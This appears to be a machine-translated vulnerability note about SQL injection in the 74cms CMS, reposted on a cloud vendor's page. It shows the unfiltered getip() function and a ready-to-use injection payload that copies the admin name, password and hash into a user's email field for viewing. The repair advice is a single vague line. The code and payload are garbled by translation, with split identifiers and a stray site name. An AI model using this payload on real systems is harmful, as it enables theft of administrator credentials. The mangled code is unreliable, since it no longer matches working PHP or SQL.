Server guard CMS (74cms) SQL injection vulnerability and repair

Source: Internet
Author: User

74cms SQL Injection Vulnerability
Function getip ()
{
If (getenv ('HTTP _ CLIENT_IP ')){
$ Onlineip = getenv ('HTTP _ CLIENT_IP ');
} Else if (getenv ('HTTP _ X_FORWARDED_FOR ')){
$ Onlineip = getenv ('HTTP _ X_FORWARDED_FOR ');
} Else if (getenv ('remote _ ADDR ')){
$ Onlineip = getenv ('remote _ ADDR ');
} Else {
$ Onlineip = $ _ SERVER ['remote _ ADDR '];
}
Return $ onlineip;
}
Ip not filtered

We can inject
Www.2cto.com $ getinj = "zyday1.1. ', email = (SELECT concat (admin_name, 0x2f, pwd, 0x2f, pwd_hash) FROM qs_admin) where username =' $ dpusername '#";
It is to assign the queried account and password to the email... then you can view the personal data in the member center to blow up the account and password and hash.

Fixed: Just filter it out.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.